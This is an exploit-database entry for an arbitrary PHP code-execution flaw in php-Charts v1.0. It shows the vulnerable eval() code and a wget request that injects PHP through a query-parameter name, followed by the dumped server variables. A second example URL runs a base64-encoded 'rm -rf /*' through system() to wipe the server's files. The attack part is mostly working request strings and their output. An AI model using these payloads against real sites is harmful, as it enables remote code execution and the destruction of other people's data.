php-Charts Arbitrary PHP Code Execution Vulnerability

2013-01-19T00:00:00
ID 1337DAY-ID-20196
Type zdt
Reporter AkaStep
Modified 2013-01-19T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ===============================================================
Vulnerable Software: php-chart_v1.0 
Official Site: http://php-charts.com/
Vuln: PHP Code Execution.
===============================================================
Tested On: Debian squeeze 6.0.6
Server version: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH

================================================================
About Software:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML) 
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data). 
================================================================

About vuln:


[email protected]:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
        require("../lib/phpchart.class.php");
        $color_var=array("txt_col","line_col","bg_color");
        $cname=$_GET["type"];
        $chart=new PHPChart($cname);

        foreach($_GET as $key=>$value)
        {
                if($value!="")
                {
                        if(in_array($key,$color_var))
                        eval('$chart->'.$key.'="#'.$value.'";');
                        else if($value=='yes')
                        eval('$chart->'.$key.'=true;');
                        else if($value=='no')
                        eval('$chart->'.$key.'=false;');
                        else if(is_numeric($value))
                        eval('$chart->'.$key.'='.$value.';');
                        else
                        eval('$chart->'.$key."='".$value."';");
                }
        }
        $chart->genChart();




Exploitation:

[email protected]:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
--2013-01-15 21:19:16--  http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”

    [ <=>                                                                                        ] 1,917       --.-K/s   in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]


Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
  ["DOCUMENT_ROOT"]=>
  string(28) "/etc/apache2/htdocs/hacker1/"
  ["GATEWAY_INTERFACE"]=>
  string(7) "CGI/1.1"
  ["HTTP_ACCEPT"]=>
  string(3) "*/*"
  ["HTTP_CLIENT_IP"]=>
  string(9) "127.0.0.1"
  ["HTTP_HOST"]=>
  string(11) "hacker1.own"
  ["HTTP_USER_AGENT"]=>
  string(21) "Wget/1.12 (linux-gnu)"
  ["HTTP_VIA"]=>
  string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
  ["HTTP_X_FORWARDED_FOR"]=>
  string(9) "127.0.0.1"
  ["PATH"]=>
  string(4) "/bin"
  ["PHPRC"]=>
  string(14) "/etc/php5/cgi/"
  ["QUERY_STRING"]=>
  string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["REDIRECT_STATUS"]=>
  string(3) "200"
  ["REMOTE_ADDR"]=>
  string(9) "127.0.0.1"
  ["REMOTE_PORT"]=>
  string(5) "60830"
  ["REQUEST_METHOD"]=>
  string(3) "GET"
  ["REQUEST_URI"]=>
  string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["SCRIPT_FILENAME"]=>
  string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
  ["SCRIPT_NAME"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["SERVER_ADDR"]=>
  string(9) "127.0.0.1"
  ["SERVER_ADMIN"]=>
  string(21) "[email protected]"
  ["SERVER_NAME"]=>
  string(11) "hacker1.own"
  ["SERVER_PORT"]=>
  string(2) "80"
  ["SERVER_PROTOCOL"]=>
  string(8) "HTTP/1.1"
  ["SERVER_SIGNATURE"]=>
  string(0) ""
  ["SERVER_SOFTWARE"]=>
  string(6) "Apache"
  ["UNIQUE_ID"]=>
  string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
  ["PHP_SELF"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["REQUEST_TIME"]=>
  int(1358302756)
}

Notice: Undefined variable:  in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
[email protected]:/tmp#


Example 2:

http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================

#  0day.today [2018-01-02]  #